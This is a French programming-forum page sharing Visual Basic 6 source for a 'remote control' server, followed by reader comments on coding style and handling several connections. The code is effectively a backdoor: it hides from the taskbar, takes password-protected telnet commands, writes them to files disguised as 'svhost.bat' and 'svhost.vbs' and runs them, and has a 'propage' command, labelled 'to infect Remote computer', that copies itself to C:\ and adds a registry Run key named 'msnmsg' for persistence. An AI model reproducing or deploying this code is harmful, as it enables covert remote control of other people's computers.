Serveur remote control basic

Soyez le premier à donner votre avis sur cette source.

Vue 7 941 fois - Téléchargée 738 fois

Description

Ce code permet de créér un serveur accessible de telnet ou autre clients avec un mot de passe de connection.
Le client peut ensuite envoyer un code en bat pour executer une action sur l'ordi distant, (le code vbs ne marche pas encor).
Le serveur peut voir l'historique des connections, ect...

Les commentaire sont surement un peu décalé par rapport a la normal du fait que j'ai changer le code depuis la derniere fois ou j'ai update les commentaires

Source / Exemple :

Prenez le zip ca irra mieu :)

'                              //RCServer//

'                            Source by Holoduke

Dim ident

Private Sub Command1_Click()
label4.Caption = Text3.Text
Call Form_Load

End Sub

Private Sub Command2_Click()
Call Form_Load
End Sub

Private Sub Command3_Click()
Label7.Caption = Text2.Text
End Sub

Private Sub Form_Load()
'rend l'application ivisible dans la barre des taches
Combo2.AddItem "Nobody"
Combo3.AddItem "Nobody"
Combo2.Text = "Nobody"
Text1.Text = Command$
App.TaskVisible = False
Winsock1.Close
'ecoute du port
Winsock1.LocalPort = label4.Caption
Winsock1.Listen
Combo1.Clear
'ident est la variable qui permet de savoir a tout moment si
'l'user a deja entrer le bon passord ou pas
ident = False
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
'ce qui se passe quand quelqu'un tente de se connecter
    Winsock1.Close
    Winsock1.Accept requestID
'message de bienvenue
'Chr$(10) et Chr$(13) veulent dire retour a la ligne + curseur à droite
    Winsock1.SendData vbCrLf
    Winsock1.SendData "-=-=-=-=/HoloDuke\=-=-=-=-" + Chr$(10) + Chr$(13) + " -_-_-_-_-_-_-_-_-_-_-_-_-" + Chr$(10) + Chr$(13) + Chr$(10) + Chr$(13)
    Winsock1.SendData "Password : "
    Combo2.AddItem Winsock1.RemoteHostIP
    Combo3.AddItem Winsock1.RemoteHostIP
    Combo2.Text = Winsock1.RemoteHostIP
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
'quand arrive une information du client telnet
'mis en mémoire de la variable reçue
Dim data As String
Winsock1.GetData data
'si l'user à déjà mis le mot de passe :
If ident = True Then
    'en gros, SI l'user a appuyer sur ENTRER
    
    If data = vbCrLf Or Right(data, 2) = vbCrLf Then
            
        If Right(data, 2) = vbCrLf And Len(data) > 2 Then
        supp = data
        data = Mid(supp, 1, Len(supp) - 2)
        Text1.Text = data
        End If
    
    texxt = Text1.Text
    'traduction du message, et appel des autre Private Sub
    'ajoute ce que l'user à entré dans la combox (affin d'accumulé les commandes)
    If Text1.Text = "runbat" Then Call encode_lauchbat: GoTo 32
    If Text1.Text = "runvbs" Then Call encode_lauch: GoTo 32
    If Text1.Text = "propage" Then Call pro_page: GoTo 32
    If Text1.Text = "clear" Then Combo1.Clear: Call see_code: GoTo 32
    If Text1.Text = "quit" Then Call Form_Load: GoTo 33
    If Text1.Text = "seecode" Then Call see_code: GoTo 32
    If Text1.Text = "?" Then Call he_lp: GoTo 32
    Combo1.AddItem Text1.Text
    Combo3.AddItem Text1.Text
32:
    'message de confirmation de l'arrivée de la commande
     Winsock1.SendData "CONSOLE# "
    Text1.Text = ""
33:
    ElseIf data = Chr$(8) Then
    On Error GoTo 6
    'ce qui suit indique que si l'user appuis sur supprime, il fau revenir d'un
    'cran en arrière et taper un espace
    supp = Text1.Text
    supp = Mid(supp, 1, Len(supp) - 1)
    Text1.Text = supp
    Winsock1.SendData " " + Chr$(8)
6:
    Else
    'ajoute la lettre qui vien d'arrivée à la textbox
    Text1.Text = Text1.Text + data
    End If
'si l'user a déjà entrer le mot de passe....
ElseIf ident = False Then
    'si il a appuyer sur Entrer
    If data = vbCrLf Or Right(data, 2) = vbCrLf Then
            
        If Right(data, 2) = vbCrLf And Len(data) > 2 Then
        supp = data
        data = Mid(supp, 1, Len(supp) - 2)
        Text1.Text = data
        End If
    
        If Text1.Text = Label7.Caption Then
        'si l'utilisateur à entrer le bon mot de passe, le déclarer comme connecté
        ident = True
        Winsock1.SendData "Acces Granted" + Chr$(10) + Chr$(13) + "? for Help" + Chr$(10) + Chr$(13) + "CONSOLE# "
        Else
        Winsock1.SendData "Invalid Password" + Chr$(10) + Chr$(13) + "Password : "
        End If
        Text1.Text = ""
    ElseIf data = Chr$(8) Then
    On Error GoTo 5
    'meme épisode que plus haut, pour la supression d'un caractère
    supp = Text1.Text
    supp = Mid(supp, 1, Len(supp) - 1)
    Text1.Text = supp
    Winsock1.SendData " " + Chr$(8)
5:
    Else
    Text1.Text = Text1.Text + data
    fff = Text1.Text
      If Len(fff) > 30 Then
      Text1.Text = ""
      End If
    End If
End If
End Sub

Private Sub Winsock1_Close()
'si le client se déconnect, refaire ce qu'il se passe lors du départ
Call Form_Load
End Sub

Private Sub encode_lauchbat()
If Check2.Value = 1 Then

'envoi dans un .bat le code contenus dans le combobox et le lance
    Open "c:\svhost.bat" For Output As #1
    For i = 0 To Combo1.ListCount - 1
    Print #1, Combo1.List(i)
    Next
    Close #1
    Shell "c:\svhost.bat", vbNormalFocus
    Combo1.Clear
       
Else
Winsock1.SendData "BAT has been disabled by administrator" + Chr$(10) + Chr$(13)

End If
End Sub

Private Sub encode_lauch()
If Check3.Value = 1 Then
'pareil que pour le bat mais bon vbs...
    Open "c:\svhost.vbs" For Output As #1
    For i = 0 To Combo1.ListCount - 1
    Print #1, Combo1.List(i)
    Next
    Close #1
      Shell "c:\svhost.vbs", vbHide
      Combo1.Clear
Else
Winsock1.SendData "VBS has been disabled by administrator" + Chr$(10) + Chr$(13)
End If
End Sub

Private Sub he_lp()
'l'aide lorsque l'user entre "?"
Winsock1.SendData "| runbat // launch code in vbs"
Winsock1.SendData Chr$(10) + Chr$(13) + "| runvbs // launch code in vbs"
Winsock1.SendData Chr$(10) + Chr$(13) + "| seecode //"
Winsock1.SendData Chr$(10) + Chr$(13) + "| clear // delete code"
Winsock1.SendData Chr$(10) + Chr$(13) + "| propage // to infect Remote computer"
Winsock1.SendData Chr$(10) + Chr$(13) + "| quit"
Winsock1.SendData Chr$(10) + Chr$(13)
End Sub

Private Sub pro_page()
If Check1.Value = 1 Then
'pour copier le serveur dans le disque, et le lancer automatiquement au demarage.
On Error GoTo 22
  FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\" & App.EXEName & ".exe"
Winsock1.SendData "Copy of the file has beeen completed" + Chr$(10) + Chr$(13)
20:
On Error GoTo 23
  Set WshShell = CreateObject("WScript.Shell")
  WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\msnmsg", "c:\" & App.EXEName & ".exe", "REG_SZ"
Winsock1.SendData Chr$(10) + Chr$(13) + "File will restart on next reboot" + Chr$(10) + Chr$(13)
GoTo 28
22:
Winsock1.SendData Chr$(10) + Chr$(13) + "FileCopy Failed"
GoTo 20
23:
Winsock1.SendData Chr$(10) + Chr$(13) + "Startup Failed" + Chr$(10) + Chr$(13)
28:

Else
Winsock1.SendData "Propage fonction has been disabled by administrator" + Chr$(10) + Chr$(13)
End If

End Sub

Private Sub see_code()
'action qui permet de savoir où en est le code
   Winsock1.SendData "   //Code Starts here//" + Chr$(10) + Chr$(13)
For i = 0 To Combo1.ListCount - 1
    Winsock1.SendData "       " + Combo1.List(i) + Chr$(10) + Chr$(13)
Next
    Winsock1.SendData "   //Code Finish here//" + Chr$(10) + Chr$(13)
End Sub

Conclusion :

Fonctionnement :
- le client se connect, met le mot de passe
- ? pour le menu help
- taper du code, verifier avec seecode que le code tapé es bon, puis runbat pour lancer le code en .bat

Peut être vous n'avez pas compris l'interet du programme, je sais que c'est un peu flou mais tester un coup ca peu être sympa ;)

Toute remarque est la bienvenue

Bug connus :
- runvbs ne roule pas encor
- pas a ma connaissance, dison que j'ai passer un paquet de temps a le debugger :)

Codes Sources

A voir également

Ajouter un commentaire Commentaires
Utilisateur anonyme
oké tnx Pat35
Messages postés
59
Date d'inscription
mercredi 3 septembre 2003
Statut
Membre
Dernière intervention
5 décembre 2007

Il faut créer un objet WinSock en tant que collection, dans la fenêtre de propriété de l'objet, met une valeur "0" a "Indice". de cette façon, tu pourra utiliser la fonction "LOAD" pour créer de nouvelles "instances" de WinSock, chacun pouvant accepter une connexion.

De préférence, on créée aussi une socket réservée a l'écoute qui reçoit la demande de connexion et c'est la seconde qui accepte la connexion sur une nouvelle instance

Lit le tut' a ce lien
http://www.vbfrance.com/code.aspx?ID=4644
T'embarrasse pas du début, et passe directement au milieu ou il aborde le multi-connexion.
Il explique assez bien comment utiliser les "LOAD" et les "UNLOAD" en ouverture et fermeture de sockets
Utilisateur anonyme
merci! j'en prend le coup de goto en compte :)
par contre pour les winsocks, je sai pas trop comment fair pour en acceptée plusieurs....
Messages postés
59
Date d'inscription
mercredi 3 septembre 2003
Statut
Membre
Dernière intervention
5 décembre 2007

Ton code a l'air bien comme démo pour winsock. Mais il aurait mérité d'être plus propre :
les lignes comme "GoTo 32" ou Call Form_Load
c'est pas très rigoureux ,un "Call Init_Cnx" pour initialiser le prod serait le bien venu je pense

Une petite remarque constrictive: il n'y a qu'une seule connexion possible a la fois sur ton serveur, en utilisant une collection tu pourras accepter plusieurs connexions simultanées

Sinon, dans le principe, c'est plutôt bien pensé comme utilisation de Winsock. Je te mets 5 à cause de la syntaxe (surtout les goto)

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.